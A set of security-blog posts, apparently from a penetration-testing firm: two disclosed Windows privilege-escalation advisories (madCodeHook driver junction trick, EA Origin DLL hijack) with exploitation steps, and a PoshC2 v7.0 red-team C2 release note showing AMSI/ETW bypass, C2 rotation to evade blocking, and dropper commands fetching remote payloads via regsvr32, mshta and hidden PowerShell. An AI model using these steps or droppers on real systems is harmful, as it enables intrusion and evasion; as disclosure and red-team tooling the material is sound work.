CVE-2020-14418: madCodeHook Library Local Privilege Escalation

Nettitude discovered a vulnerability in the ‘madCodeHook’ third party library which caused a number of security products, including Cisco AMP and Morphisec Unified Threat Prevention Platform, to contain a local privilege escalation vulnerability. Since the vulnerability originated in a third party library, it is likely to affect other software using that library. The madCodeHook author states that at least 15 security vendors use the library.

Following a coordinated disclosure process driven by Nettitude, the latest versions of Cisco AMP and Morphisec Unified Threat Prevention Platform are no longer vulnerable to this issue. Other software that uses madCodeHook may still be vulnerable.

Products Affected

All software using the madCodeHook library has a kernel mode DLL injection vulnerability in versions prior to v4.1.3. This includes, but is likely not limited to, the following software:

  • Cisco AMP prior to v7.2.13:
    • ExPrevDriver.sys
  • Morphisec Unified Threat Prevention Platform v4.x earlier than v4.1.2, v3.5.9:
    • MorphiDriver.sys

Introduction

There is a design flaw inside the kernel mode component of a DLL injection library called madCodeHook, developed by Systemsoftware Mathias Rauen, that is used by several security and other vendors as part of their exploit prevention capabilities, amongst other things.

madCodeHook is a framework of function hooking and code injection techniques that can be used to monitor specific processes for abnormal behaviour or any other situation where API hooking might be required. This works by defining a list of process names to inject a specific DLL module that can also be used for hooking purposes.

The DLL injection takes place from kernel mode in order to achieve early injection into the processes of interest during their initialization stages. The library itself offers the ability to check for specific digital signatures before injecting a module into a process. It also blocks any shared write access to the module to be injected.

These two methods aim to prevent arbitrary DLL injection and/or modification of the defined module after it has passed the signature checks. However, we found a design flaw that can be abused, which allows an attacker to achieve arbitrary DLL injection into privileged processes and execute malicious code in the security context of SYSTEM user account.

According to the author of this library, there are at least 15 security vendors using this library, but they were not able give us further details on this in order to protect their customers.

Based on our investigation, “MalwareBytes” and “EMSISOFT” are also using this library, but since they were notified of this vulnerability by the author of the library, we didn’t have the time to test our exploit against their products.

During this article we will be examining this issue through the Cisco AMP product which uses a driver developed by Morphisec, which in turn uses the aforementioned kernel mode code library, which can be used for hooking purposes.

The Vulnerability

The ExPrevDriver.sys module, formally known as MorphiDriver32.sys and originally developed by Morphisec, is used to inject the Protector64.dll and Protector32.dll modules into selected user mode processes for extra “monitoring” purposes.

By sending the appropriate IOCTL we can define a path to a module to inject and also process names to protect and/or exclude from the DLL injection on runtime as they start.

Even though the driver will verify that the module is digitally signed by a specific trusted certificate, and blocks any modifications to the module after that by only allowing read access to user mode processes, it doesn’t protect from path redirection attack vectors.

In addition, the driver verifies the digital signature of the module to be injected only during this stage.

This type of vulnerability is described as time-of-check-time-of-use (TOCTOU).

Exploitation

In order to exploit this vulnerability, we need to send the appropriate IOCTL using an input buffer where the data has a specific structure. In addition to that, to be able to reach the dispatcher function, we must first solve a custom crypto-challenge that was applied by the author of madCodeHook library, presumably to block pre-analysis fuzzing and/or make the analysis more difficult.

This stage makes use of the RIPEMD-160 hashing algorithm along with two custom “encryption” routines, where all of them are bound together in a specific order for the purpose of validating and blocking arbitrary input.

The input validation scheme is designed as follows:

  1. Prepare a structurally valid input data buffer.
  2. Encrypt the data using a custom encryption routine.
  3. Hash the encrypted data.
  4. Re-encrypt the encrypted data with another custom encryption routine using the hash as a key.
  5. Prepend the hash generated in step 3 and send the IOCTL.

The driver will go through the reverse steps to decrypt and validate the structure of the input data. Note, this is an overview of the input validation design; we will leave the rest of the details as an exercise for the reader.

This screenshot shows part of this request to the driver.

IOCTL Input Data

IOCTL Input Data

This is a legitimate request performed by the driver during initialization. We can see the full path to the 32-bit module to be injected, and a partial list of target process names. A similar request using the path to the 64-bit module will be used as well to protect 64-bit processes. So, when the driver is loaded it will set a list of process names to monitor for and inject the appropriate module as defined above once a process that matches one of those names is started.

A local attacker can create a directory junction to the original protector module and include this in the path to send via the IOCTL. The driver will verify that we point to the expected module and will accept this request.

The vulnerability exists because instead of the driver storing the real path to the module that we defined via the IOCTL (in other words normalize the provided path), it actually stores the path as we define it. However, the attacker can now delete the junction and create a directory instead, and place an arbitrary DLL with the same name, which will cause the driver to inject the malicious DLL to the selected process defined in the IOCTL when the process starts.

In this way we can trick the driver to successfully validate our request and store the module path as we submit it. We can then inject into arbitrary processes, defined by us via IOCTL, our own DLL that contains the payload.

Finally, we can ‘force’ the driver to load our DLL in a service process running as SYSTEM and obtain full access in the affected host.

Summary of exploitation steps

Here is a summary of the exploitations steps.

  • Create directory junction pointing to the legit module directory (“mklink /J C:\users\<username>\Desktop\exprev C:\Program Files\Cisco\AMP\exprev”)
  • Send IOCTL using path “C:\users\<username>\Desktop\exprev\Protector64.dll”
  • Delete directory junction and create a normal full path “C:\users\<username>\Desktop\exprev\Protector64.dll” where the DLL is now your own DLL of choice.
  • Start a process that you chose to protect through the IOCTL request.
  • You should see your DLL loaded into that process.

Avoiding this type of vulnerability

Drivers should normalize the received module path instead of storing the path as it is received from userland, which may contain junctions in-between, and lead to security issues such as the one reported here.

Additionally, the signature validation routine could be used each time just before a module is injected into a process. In that way, we can ensure that unsigned and/or self-signed binaries cannot be injected into arbitrary processes by abusing design flaws in similar driver functionality.

Finally, drivers shouldn’t (in general) allow low privileged processes to send IOCTL requests. This can be achieved by enforcing the correct ACL to the named device object that is exposed to the user mode processes.

Disclosure Timeline

The madCodeHook author rapidly patched the library. We also chose to work with Morphisec, an affected vendor, during the disclosure process. Both entities were speedy and effective in their responses.

  • Discovery: 6 July 2020
  • Library author notified: 6 July 2020
  • Patch issued by library author: 16 July 2020
  • Nettitude disclosure: 1 December 2020

 

CVE-2020-27708: Electronic Arts (EA) Origin – Local Privilege Escalation

We recently assessed the security posture of Electronic Arts Origin Client and discovered a privilege escalation issue that would allow a low privilege attacker to elevate privileges to NT AUTHORTY\SYSTEM.  This has been recorded as CVE-2020-27708.

Origin is a digital distribution platform, by Electronic Arts, who own the brand EA Games.  They acquired the trademark Origin when it purchased Origin Systems in 1992. The platform allows some reported 39 million [1] users to download and install games by Electronic Arts.

An initial look with procmon

First, we used the free SysInternals Process Monitor tool (procmon) [2] to look for any low-hanging fruit.  Something immediately stood out; two system services looking for the directory C:\platforms, which they were not able to locate.

E:\VMShare\REVERSE_ENG\origin1.PNG

In Microsoft Windows, any user is by default able to create a directory in the root of the C drive. So, we proceeded to do just this.

We followed this with a second run of procmon.

E:\VMShare\REVERSE_ENG\origin5.PNG

As can be seen in the second procmon output, a directory listing takes place on the C:\platforms directory, which is interesting and something we made a note of.

A closer look with ProcessHacker

Our next course of action was to have a look at one of the service processes OriginWebHelperService.exe process using another free tool called ProcessHacker [3]. Something immediately stood out to us, which can be seen in the image below; OriginWebHelperService.exe is loading a DLL qwindows.dll from the directory C:\Program Files (x86)\Origin\platforms\.

Because of the similar names, C:\platforms and C:\Program Files (x86)\Origin\platforms\, we decided to copy the contents of the C:\Program Files (x86)\Origin\platforms\ directory into the C:\platforms directory.

E:\VMShare\REVERSE_ENG\ploatforms.PNG

We then ran ProcessHacker again to view the loaded modules within OriginWebHelperService.exe.

Surprisingly, this DLL was loaded directly into the OriginWebHelperService.exe process.

A bump in the road

The next step was to replace qwindows.dll with our own malicious DLL that would open a command prompt on behalf of a low level user. This is where we hit a slight bump in the road. We could see in a procmon log that our DLL was being read, however it was then closed and the original qwindows.dll was read from the Program Files path.

Using another free tool CFF Explorer [4] we took a look at qwindows.dll.

E:\VMShare\REVERSE_ENG\export.PNG

qwindows.dll has only two exported functions, qt_plugin_instance and qt_plugin_query_metadata.

E:\VMShare\REVERSE_ENG\metad.PNG

Looking at the sections within the qwindows.dll there are two that stood out to us, .qtmetad and .gfids. What if the Origin Client executables are scanning the DLL’s in the C:\platforms directory and looking for these sections before loading the DLL?

We decided to find out and proceeded to copy the data from these two sections, adding the data to our own malicious DLL into sections with identical names.

C:\Users\twilson\Documents\Nettitude\Image\qmetad.PNG

Successful privilege escalation

The result was immediate; our DLL was loaded into the OriginWebHelperService.

The OriginWebHelperService runs as Local Service, which is a low privilege account and requires some further effort in order to gain full NT AUTHORITY\SYSTEM privileges.

A recent paper by Antonio Cocomazzi [7] details several ways to break out of Local Service accounts by abusing the SeImpersonatePrivilege.  We could have attempted to use the “Chimichurri Reloaded” technique, for example [8].

However there is another service included with Origin, “Origin Client Service” which runs under the account NT AUTHORITY\SYSTEM and shares the same DLL hijacking vulnerability as the OriginWebHelperService.

At this point we changed our focus to “Origin Client Service”.

Using the sdshow command of sc.exe, the Windows Service Control tool, it was possible to view the security permissions of the Origin Client Service:

E:\VMShare\REVERSE_ENG\sdshow.PNG

The Security Descriptor Definition Language (SDDL) output from the sc sdshow command allows us to view the Security Descriptor, which suspiciously has an ACL for the well known SID string [5] “BU” is used which represents the BUILTIN\Users group.

More detail can be obtained using a PowerShell script [6]:

This allowed us to determine that any user is able to start and stop the OriginClientService.exe service process. This is an added bonus; we now don’t have to wait for reboot in order to execute our malicious payload; we can simply start the service and get as many elevated command prompts as we want:

While both the OriginWebHelperService and the OriginClientService were vulnerable to the issue, the path of least resistance was to exploit the OriginClientService gaining system privileges directly.

CVE-2020-16091 for EA Games Origin Client

We were initially issued CVE-2020-16091 by MITRE, which exclusively describes the vulnerability in this post.  Electronic Arts subsequently became a CNA and have issued a new CVE number, CVE-2020-27708, which merges a lower impact incarnation of this vulnerability with our original finding.  We have opted to lead with CVE-2020-27708, with a reference to CVE-2020-16091 noted here to avoid confusion.

Timeline

  • 27 July 2020 – Initial discovery
  • 28 July 2020 – CVE-2020-16091 issued by MITRE
  • 8 September 2020 – Electronic Arts informed of vulnerability
  • 19 September 2020 – Electronic Arts granted CNA status
  • 28 October 2020 – Electronic Arts issued CVE-2020-27708
  • 29 October 2020 – Electronic Arts released patch
  • 3 November 2020 – Nettitude release vulnerability analysis

Conclusion

It takes a relatively low effort to audit for DLL path hijacks.  Tools such as process monitor are freely available and should be leveraged as part of a products testing cycle.

Developers should also assess if they really need a service to run as NT AUTHORITY\SYSTEM. For most practical purposes, running a service under the Local Service account is just as effective and more secure; the Local Service account has various privilege restrictions, although is not immune to further privilege escalation itself [7] [8].

We identified this vulnerability in Electronic Arts Origin Windows client, version 10.5.77.42374 – 763270.  The vendor has patched this vulnerability in version 10.5.87.45080 of the client.

References

    1. Origin has 39 million users – https://venturebeat.com/2013/01/30/origin-has-39-million-users-and-4-other-surprising-numbers-about-ea/
    2. Process Monitor – https://docs.microsoft.com/en-us/sysinternals/downloads/procmon
    3. ProcessHacker – https://processhacker.sourceforge.io/
    4. CFF Explorer – https://ntcore.com/
    5. Well known SID strings – https://docs.microsoft.com/en-us/windows/win32/secauthz/sid-strings
    6. Using PowerShell to view service ACL’s – https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/
    7. Windows Privilege Escalations: Still abusing Service Accounts to get SYSTEM privilegeshttps://www.romhack.io/dl-2020/RH2020-slides-Cocomazzi.pdf
    8. Chimichurri Reloadedhttps://itm4n.github.io/chimichurri-reloaded/

Introducing PoshC2 v7.0

There have been some big improvements and new features added to PoshC2 and we’re excited to announce the release of PoshC2 v7.0. More and more people have started contributing to the project and every one of those contributions is appreciated!

Download & Documentation

You can download PoshC2 v7.0 here:

The PoshC2 documentation has been also been completely updated to reflect the latest version:

https://labs.nettitude.com/wp-content/uploads/2020/08/2020-08-16_14-39.png

Development and Versioning

Before we launch into some of the exciting changes and new features added in this release, it’s worth mentioning that there have also been significant changes to our development process.

All changes are now being reviewed and merged to the dev branch, with infrequent merges from this branch into the default master branch, only after they have been fully tested and deemed acceptably stable.

This means that operators can choose to use the stable master branch, or trade some stability for cutting edge features by using dev or a feature branch. Details on how to use none-standard branches are in the README, but the crux of it is that the install and update scripts accept a -b parameter which allows you to specify a branch name.

Furthermore, we are more strictly adopting semantic versioning as a versioning scheme. This means that given a version number MAJOR.MINOR.PATCH:

  • A MAJOR version increase means there have been incompatible API changes, so a new project will be required and any third party tools that use PoshC2 may need to be updated.
  • A MINOR version increase will indicate we have added functionality in a backwards compatible manner.
  • A PATCH version increase will indicate we have made backwards compatible bug fixes.

This should provide insight into the nature of changes and allow users of PoshC2 to quickly determine if they would like to update their installation or not.

Project Refactoring

Probably the most significant change for the majority of users will be a complete change to how projects work in PoshC2.

Previously, you had to specify the PoshC2 install path and the projects directory in the configuration file, which was stored in the install directory. Switching projects was none-trivial as you had to back up and reset your configuration file before editing the project location value in it.

PoshC2 v7.0 introduces a new script, posh-project, which is used to manage projects:

This script allows projects to be easily created with descriptive names, in addition to quickly and easily facilitating listing, deleting and switching between them. The install and project directory options in the configuration file have been removed as they are now being programmatically determined.

All PoshC2 projects are now stored under /var/poshc2/ and the configuration file is also stored in this location, allowing easy switching and backups.

Power Status Monitoring (PSM)

Have you ever been running a red team engagement, lost a shell and had absolutely no idea what happened? Did you get kicked out, did they isolate the machine, or has the user just put their laptop to sleep for the evening?

Well, we have, and this is why we created the power status monitoring (PSM) module. The work of Rob Maslen (@rbmaslen), this is a module for the C# implant that can asynchronously inform the operator of the machines status when performing live engagements. It should be noted this module is automatically loaded on start up, so there is no need to force load this module. If you want to check the module out it’s called PwrStatusTracker.dll. Here is an example of the output from a C# implant which has loaded the PSM module.

Machine generated alternative text: Task øøø36 (autoruns) returned against implant 8 on host DTIø9999Xadmin Monitor(screen) has been switched ON Task øøø36 (autoruns) returned against implant 8 on host DTIø9999Xadmin L! J Session has been locked

Machine generated alternative text: Task øøø36 (autoruns) returned against implant 8 on host DTIø9999Xadmin E +1 Session has been unlocked

You can also run getpowerstatus for a particular implant to check the active state of that implant at any time from a power perspective, e.g. whether the laptop is plugged in and/or charging and what percentage – although it may not work with VMs as they often don’t share the battery status in the default configuration.

Machine generated alternative text: DTIø9999Xadmin DTIø9999 (PID: 3916) Ctt 8) getpowerstatus power status ø7/ø7/2ø2ø 14:19:41 BATTERY : SCREEN . MONITOR: Charging LOCKED ON

Here is a full list of actions that are monitored on the remote host when power status monitoring is invoked. Knowing what is happening at all times is an extremely useful tool that will help you make more informed decisions as operators.

  • [!] SHUTDOWN may be imminent. Query End Session has been called
  • [!] SUSPEND may be imminent. QuerySuspend has been called
  • [!] SUSPEND/SLEEP, machine has been hibernated
  • [!] WARNING: Battery has only 65% charge
  • [!] CRITICAL BATTERY: 10% charge left
  • [!] DISCHARGING the battery now. AC has been unplugged
  • [+] Console session has been connected to
  • [-] Console session has been disconnected from
  • [+] Remote connection has been made to the machine (RDP)
  • [-] Remote connection has been dropped (RDP)
  • [+] A user has logged on
  • [!] A user has logged off
  • [!] Session has been locked
  • [+] Session has been unlocked
  • [-] Session remote control status has changed
  • [+] Monitor(screen) has been switched ON
  • [!] Monitor(screen) has been switched OFF
  • [!] UPS powered now. Machine may turn off at any time
  • [!] Low battery reported
  • [+] Battery has 65% charge
  • [+] Resume from suspend
  • [+] AC is plugged in
  • [!] AC has been unplugged
  • [!] Computer is on a UPS
  • [+] Battery is charging: 10%
  • [+] Battery Percent: 10%
  • [+] Battery Status: 10%

It should be noted, however, that the shutting down message is essentially in a race against the actual shutdown event and sometimes may not trigger before the host fully switches off. Similarly, if the user disconnects from the network then obviously notifications cannot be sent. Nonetheless, this feature represents a huge increase in information available to operators that can help provide situational awareness on an engagement.

Communications Improvements

Failover Comms

Failover Comms has been implemented by Doug McLeod (@b4ggio_su) and allows an operator to specify an array of URLs to attempt to egress an environment and establish C2 communications. In previous versions a payload would specify a single URL with which it would try to establish C2 communications and if this failed then the payload would fail. However, having spent time within environments that have a strict lockdown, we have developed a means of cycling through numerous URLs, if required, in order to find a communications channel that can successfully exit the environment.

To enable failover communications, set multiple URLs in the posh-config, by specifying an array of URLs to use in the dropper. An example has been shown below:

PayloadCommsHost: https://www.domainone.com,https://www.domaintwo.com

DomainFrontHeader: www.headerone.com,www.headertwo.com

With the above configuration set, all payloads will now attempt to get out via the first URL-and-header combination, then if this fails it will cycle through the second, third and so on until there are none left or comms has been successfully established.

This will stop on the first successful URL and start the loading of the second stage. This should allow operators to build a number of URLs to use across a variety of categorisations and so on and add a level of redundancy for payloads.

Comms Rotation

Once in the environment and having successfully established communications, operators can enable comms rotation. The idea for rotation is to identify a number of URLs that the operator would like to spread C2 communications over and then randomly communicate over all of them.

This has the added benefits of helping blend into normal traffic and avoid telemetry detections, while also allowing the operator to respond to a client blocking individual C2 URLs when an incident occurs. If you are rotating through multiple URLs and one is blocked then the implant will still be able to communicate with the C2 server via the other URLs. Operators can modify the rotation list on the next call back to change to new URLs, buying time to move again in the environment as quickly as possible.

To assist with identifying URLs that work and can connect back to the C2 server, a PowerShell module has been added that will display the results in the server window.

invoke-urlcheck -urls https://URLOne.com,https://URLTwo.com -domainfront domainone.cloudfront.net,domaintwo.cloudfront.net -uri /en-gb/surface/accessories/

Once this is executed you will see the following hits on the C2 server for successful callbacks.

27/03/2020 09:30:55: The URL: https://URLOne.com successfully connected 27/03/2020 09:30:56: The URL: https://domainone.cloudfront.net successfully connected

Once a list of valid URLs has been determined, the operator can enable comms rotation with the command enable-rotation. This will then prompt the operator for the URL and Host Header lists.

PS 001> enable-rotation Domain or URL in array format: https://domainone.com,https://domaintwo.com 

Domain front URL in array format: domainone.com,domaintwo.com

Operators can also use get-rotation to see what URLs are being cycled through at any given time when rotation is enabled. One note is that rotation configuration is only in-memory and any persistence schemes will need updating if new URLs should be used for them.

C# PBind Implants

Another feature from Doug McLeod (@b4ggio_su) is the long awaited update to the PowerShell variant of PBind. The PBind project, which offers lateral movement capability through SMB named pipes, has now been converted over to C# and full integration added as a standalone implant type.

The C# PBind implant is fully incorporated into the ImplantHandler and now sports its own handler with an implant registering in blue in the console. Furthermore, PBind is included in the full array of payloads and includes its own DLLs, EXEs and Shellcode for use by the operator.

The PBind implant extends the C# implant and the same functionality applies, allowing operators to load and run C# modules in memory in the same way they’re used to.

To use PBind, launch one of the PBindSharp payloads or inject the shellcode and a named pipe will be created on the target. The default values for the pipe name and secret are configurable in the configuration file. Then, connect to the pipe from another implant with access to that pipe using pbind-connect. The pipe name and secret do not have to be specified if the defaults are being used:

pbind-connect hostname

Machine generated alternative text: Seen: Seen : Seen: 07/07/2020 ø7/ø7/2Ø2ø 07/07/2020 14: 14: 14: 33: 33: 33: ø3 ø2 02 I PID: I PID: I PID: 4456 11712 11656 I URL ID: I URL ID: I URL ID: 1 | DTIØ9999Xadmin DTIØ9999 (AMD") ps 1 | DTIø9999Xadmin DTIø9999 (AMD") IPSMI PBind I DTIØ9999Xadmin* DTIØ9999 (AMD64) ctt;PB 'Parent: 101

A PBind implant will connect and be displayed in blue and can then be used in the expected way.

Payload Generation

Extendable Payload Generation

We have spent some time refactoring the payload generation module so that it can be extended by the operator if they wish to customise their own payloads or for any future pull requests that are submitted. Adding new payload types is now incredibly straightforward, and more work is planned to simplify it further and homogenise payload creation.

The first customisation is that when you create a full set of payloads it will create you all five implant types in both x86 and x64 bit architectures for each payload type, that’s why you may notice a larger set of payloads that are generated:

  • Posh_v2
  • Posh_v4
  • Sharp_v4
  • PBind_v4
  • PBindSharp_v4

On top of this we now compile any “*.c” or “*.dll.c” file and compile accordingly as either an EXE or DLL respectively, replacing placeholders with payload specific shellcode. This will allow the operators to have an opportunity to customise their droppers and add Anti-Virus bypasses, custom environmental detections or AMSI unhooking that they wish to add before the shellcode injection.

To take a look at code, here is part of the default C template that is added.

https://labs.nettitude.com/wp-content/uploads/2020/08/word-image.png

As you can see in the file there is a “#REPLACEME#” text section which gets replaced before compilation. This will add a char array with a name of “sc” which can be used later in the code for shellcode injection, after you have done your own code checks or bypasses. This will allow operators to customise their own payloads to have better success with the droppers:

Machine generated alternative text: char sco Xx1@Xxc3Xx55Xx8bXxecXx83XxecXx18Xx53Xx56Xx57Xx68"

Additionally, brand new payload types can be added by adding a new module to poshc2/server/payloads. Any python3 module in this directory will be loaded and a create_payloads(payloads, name) function executed with the payload information and name. See poshc2/server/payloads/Macro-Payloads.py for an example.

Simply dropping in a new module and a new payload-template allows for brand new payload types to be easily added, easily extending PoshC2’s already considerable payload list.

We plan to do a lot more in this space to allow any file full customisation, e.g. HTA files, macro files and more. We will release more documentation and information on this in the coming months.

Donut Shellcode Integration

We have seen some great work by @TheWover & @odzhan in their creation of the Donut shellcode generator and wanted to integrate this into PoshC2 so it can generate smaller and more customisable shellcode options for use. This was actually a really easy integration given a Donut pip module had been created and because of the payload refactor. See https://github.com/TheWover/donut for details.

Machine generated alternative text: Donut shellcode files . _ Project/payloads/posh _ Project/payloads/posh _ Project/payloads/posh _ Project/payloads/posh _ Project/payloads/posh _ Project/payloads/posh _ Project/payloads/posh _ Project/payloads/posh v2 v2 v2 v2 Donut Donut Donut Donut Donut Donut Donut Donut x86 x86 x 64 x 64 x86 x86 x 64 x 64 Shellcode . Shellcode . Shellcode . Shellcode . Shellcode . Shellcode . Shellcode . Shellcode . b64 bin b64 bin b64 bin b64 bin Payload Payload Payload Payload Payload Payload Payload Payload Payload Payload Payload Payload Payload Payload Payload Payload Payload Payload Payload Payload written written written written written written written written written written written written written written written written written written written written to: to: to: to: to: to: to: to: to: to: to: to: to: to: to: to: to: to: to: to: /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 b64 bin b64 bin _ Project/pay10ads/PBind v4_Donut x86 Shellcode . b64 _ Project/pay10ads/PBind v4 Donut x86 Shellcode . bin _ Project/pay10ads/PBind v4_Donut x64 Shellcode . b64 _ Project/pay10ads/PBind v4 Donut x64 Shellcode . bin _ Project/pay10ads/Sharp_v4_Donut x86 Shellcode . b64 _ Project/pay10ads/Sharp_v4_Donut x86 Shellcode . bin _ Project/pay10ads/Sharp_v4_Donut x64 Shellcode . b64 _ Project/pay10ads/Sharp_v4_Donut x64 Shellcode . bin _ Project/pay10ads/PBindSharp_v4_Donut x86 Shellcode . _ Project/pay10ads/PBindSharp_v4_Donut x86 Shellcode . _ Project/pay10ads/PBindSharp_v4_Donut x64 Shellcode . _ Project/pay10ads/PBindSharp_v4_Donut x64 Shellcode .

As a result of these new payloads, the payload generation takes a bit longer, however…

Quick Shellcode Generation

Given the new payload types and extensibility, in addition to the large number of payloads already created by PoshC2, we have also created a createnewshellcode command. This command works in the exact same way as createnewpayload except that it only creates the minimal set of payloads required to generate the shellcode files.

In situations where operators only want the shellcode files for custom launchers or injection, this command will save time and the payloads directory becoming bloated with unnecessary payloads.

Both of these commands also allow new or different failover comms and PBind pipe names to be set.

AMSI & ETW Patching in Shellcode

The shellcode itself has also been updated, with an AMSI bypass and ETW patch (nod to xpn) added to improve the success rate and stealth of PoshC2 payloads by default. Now, when inspecting the .NET assemblies for an implant process they are not loaded or displayed:

https://labs.nettitude.com/wp-content/uploads/2020/08/word-image-1.png

Payload displaying

A final change to payload generation includes how they are displayed in the C2Server log on creation. We have split out the payloads/droppers that are based on “powershell.exe” and “shellcode” so the operators understand their OPSEC considerations on the endpoint. This is clearly detailed on payload generation as shown below in white.

Machine generated alternative text: Creating Rewrite Rules in: /opt/PoshC2_Project/rewrite-ru1es . txt Payloads/droppers using powershell . exe: Raw Payload written to: /opt/PoshC2_Project/pay10ads/pay10ad . txt Batch Payload written to: /opt/PoshC2_Project/pay10ads/pay10ad . bat powershell -exec bypass -Noninteractive -windowstyle hidden -e nuBTAHkAcwBøAGUAbQAuAE4AZQBøAC4AUwBIAHIAdgBpA EøAUwA- HTA Payload written to: /opt/PoshC2_Project/pay10ads/Launcher .hta Macro Payload written to: /opt/PoshC2_Project/pay10ads/macro. txt regsvr32 /s /n /u /i:https://172.16.ø.1ø5:443/trader-update/_rg scrobj .d11 mshta . exe vbscript :GetObject( "script : https : // 172.16.ø.1ø5 : 443/ trader-update/_cs" Payloads/droppers using shellcode: Ctt Dropper EXE written to: . exe Ctt PBind Dropper EXE written to: . exe Ctt PBind Powershell v4 EXE written to: /opt/PoshC2_Project/pay10ads/dropper_cs_ps_pbind v4.exe Ctt Powershell v2 EXE written to: /opt/PoshC2_Project/pay10ads/dropper_cs_ps v2 .exe Ctt Powershell v4 EXE written to: /opt/PoshC2_Project/pay10ads/dropper_cs_ps_v4.exe C++ DLL Payload Payload Payload Payload Payload Payload Payload DLL Export (VoidFunc) that loads CLR v2.ø.5ø727 or v4.ø.3ø319 - written written written written written written written to: to: to: to: to: to: to: /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 _ Project/payloads/posh v2 x86. d11 _ Project/payloads/posh v2 x64. dil _ Project/payloads/posh v4 x86. dil _ Project/payloads/posh v4 x64. d11 _ Project/pay10ads/Sharp_v4_x86. d11 _ d11 _ Project/pay10ads/PBind v4 x86. d11

Dynamic File Hosting

For a while now we have been wanting to add the ability for operators to host custom files with custom file types without needing to restart the server or to have to host outside of the PoshC2 server. We have now added four new commands which allow you to manage this in your C2 server Implant Handler.

It also has an option to Base64 encode the hosted file when it’s served so that you can write your own droppers or download functions to grab hosted shellcode from the C2 Server and inject it into your own process. You can also use this to host any payload in the payloads folder if you want to expose this on your C2 instance in an easy and logged fashion. Only the specific hosted files are exposed and not directories, and all of the requests to those files are logged into the webserver.log that is in your project folder.

  • add-hosted-file
  • disable-hosted-file
  • enable-hosted-file
  • show-hosted-files

We have also made the mime-type configurable. This is because some defensive capabilities have rules based on mime-type and its often good practise to change this when serving a payload to bypass those defences.

This feature also allows payloads to be hosted for and accessed through Daisy Chains. By choosing a host URL that starts with the QuickConnectURL (randomly generated from the URL list and printed on server start) then Daisy implants will automatically route this request down the Daisy-chain and to the C2 server to access your hosted file.

Background Tasks

As a red team, we often need to run tasks which can take a while to finish executing. In some instances we may also want to obtain the output on a periodic basis rather than waiting for it to finish. To do this we have introduced a run-exe-background command that can now run any C# module in the background, while receiving the updated output on each beacon.

Please note this is only applicable to our Sharp payloads at present, including the PBindSharp implant type. An example usage could be InveighZero or Rubeus in monitor mode – both of which are fantastic modules that can perform many Man-in-the-Middle type attacks – but you want to run these in the background while doing other tasks.

Here are a few screenshots showing us running InveighZero in a C# implant:

Machine generated alternative text: Task øøø28 loadmodule Task øøø29 (bturner) issued against implant 6 on host DTIø9999Xadmin DTIø9999 (ø7/ø7/2ø2ø 13:58:21) Inveigh . exe (bturner) issued against implant 6 on host DTIø9999Xadmin DTIø9999 (ø7/ø7/2ø2ø 13:58:21) run-exe-background Inveigh . Program Inveigh Task øøø28 (bturner) returned against implant 6 on host DTIø9999Xadmin DTIø9999 (ø7/ø7/2ø2ø 13:58:21) Module loaded successfully Task øøø29 (bturner) returned against implant 6 on host DTIø9999Xadmin DTIø9999 (ø7/ø7/2ø2ø 13:58:21) Running background task

Every time the implant beacons, we receive the output from the command if there has been any console output since the last check-in.

Machine generated alternative text: Background task against implant 6 on host DTIø9999Xadmin DTIø9999 (ø7/ø7/2ø2ø 13:58:25) (output appended t o /opt/PoshC2_Project/reports/background-data . txt) Not high integritys Inveigh ø.91ø started at 2ø2ø-ø7-ø7T13:58:21 Elevated Privilege Mode - Disabled Primary IP Address 172.16.ø.13ø Primary IPv6 Address 2aøø: 23c6: 2c2e: 95ø1 : aca4: 8d94: 9a12 : e2øf Spoofer IP Address - 172.16.ø.13ø 2aøø: 23c6: 2c2e: 95ø1 : aca4: 8d94: 9a12 : e2øf Spoofer IPv6 Address Spoofer MAC Address øøøC29419AAF Packet Sniffer - Disabled Disabled DHCPv6 Spoofer DNS Spoofer For Types A Enabled DNS TTL 3ø LLMNR Spoofer Enabled Disabled LLMNRv6 Spoofer - LLMNR TTL 3ø Disabled mDNS Spoofer NBNS Spoofer For Types øø,2ø NBNS TTL 165 HTTP Capture Enabled HTTP Authentication - NTLM Disabled Proxy Capture - WPAD Authentication - NTLM Enabled - Firefox WPAD NTLM Authentication Ignore List - Disabled SMB Capture Machine Account Capture Disabled File Output - Disabled Log Output Enabled Disabled Pcap Output Previous Session Files - Imported Press ESC to access console

SharpEDRChecker

Ross Bingham (@PwnDexter) has also ported and greatly improved his PowerShell Invoke-EDRChecker to C#.

This incredibly useful tool will enumerate installed programs, services, drivers, processes and process modules and their metadata for indicators of various defensive and threat hunting tools, providing operators with a detailed and reliable indicator of what technologies are on the target.

https://labs.nettitude.com/wp-content/uploads/2020/08/word-image-2.png

The detailed checks this tool performs will discover products deployed in their respective ‘stealth’ modes, such as CarbonBlack and Sysmon, and as the amount of data enumerated is large, a helpful summary is displayed at the end.

https://labs.nettitude.com/wp-content/uploads/2020/08/word-image-3.png

Docker Support

Docker support for PoshC2 has now been significantly improved, with automatic builds being published for master, dev and tagged version branches to both Docker Hub and the GitHub package repository.

https://labs.nettitude.com/wp-content/uploads/2020/08/word-image-4.png

With this and the new projects changes, a local install of PoshC2 is no longer required so the Install-for-Docker.sh script simply adds some scripts to /usr/local/bin and sets up the project directory, with the Docker scripts automatically using the pre-built images unless a specific tag is specified with the t option. This makes using PoshC2 using Docker a very lightweight and reliable option.

Opsec Events

There are often times during and engagement where you want to log an event that isn’t automatically tracked by a C2 framework, such as an incident being raised or a file being manually moved which should be logged to ensure it is tracked for clean up.

For these situations we’ve added Opsec Events. These events are manually added and stored in the database and can be viewed using get-opsec-events as well as in the generated report output.

https://labs.nettitude.com/wp-content/uploads/2020/08/word-image-5.png

URL Handling

Another noteworthy change is regarding how comms URLs are handled and displayed in PoshC2. Previously, when an implant connected it would display what CONNECT URL it used, but there would be no way to know what Host header or Proxy creds and so on were bring used unless you knew specifically which payload had been executed.

In version 7 of PoshC2, implants will list their communications configuration using URL names or IDs, which can be reviewed using the show-urls command.

https://labs.nettitude.com/wp-content/uploads/2020/08/word-image-6.png

https://labs.nettitude.com/wp-content/uploads/2020/08/word-image-7.png

